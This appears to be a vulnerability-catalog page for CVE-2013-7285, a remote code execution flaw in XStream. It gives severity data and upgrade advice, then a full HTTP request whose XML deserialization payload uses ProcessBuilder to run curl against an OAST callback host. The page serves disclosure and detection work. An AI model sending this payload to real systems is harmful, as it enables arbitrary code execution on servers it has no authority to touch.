🔙 목록으로 돌아가기

CVE-2013-7285: XStream <1.4.6/1.4.10 - Remote Code Execution

TitleXStream <1.4.6/1.4.10 - Remote Code Execution
Authorpwnhxl,vicrack
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.
RemediationUpgrade XStream to version 1.4.10 or later to mitigate this vulnerability.
CVSS Score9.8
EPSS Score0.15054
CVE IDCVE-2013-7285
CWE IDCWE-78
Tags cve2013 cve xstream deserialization rce oast xstream_project vuln

🔍 Vulnerability Description

Xstream API before 1.4.6 and 1.4.10 is susceptible to remote code execution. If the security framework has not been initialized, an attacker can run arbitrary shell commands by manipulating the processed input stream when unmarshaling XML or any supported format. This can allow an attacker to obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.

🌐 HTTP Request

POST / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.3
Connection: close
Content-Length: 504
Content-Type: application/xml
Accept-Encoding: gzip

<sorted-set>

    <string>foo</string>

    <contact class='dynamic-proxy'>

      <interface>java.lang.Comparable</interface>

      <handler class='java.beans.EventHandler'>

          <target class='java.lang.ProcessBuilder'>

              <command>

                <string>curl</string>

                <string>http://d5jqv89le0o0m06etqsgs4jr58unkf6tn.oast.pro</string>

              </command>

          </target>

          <action>start</action>

      </handler>

  </contact>

</sorted-set>

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2013/CVE-2013-7285.yaml

🦈 Packet Capture: ⬇️ Download cve-2013-7285.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A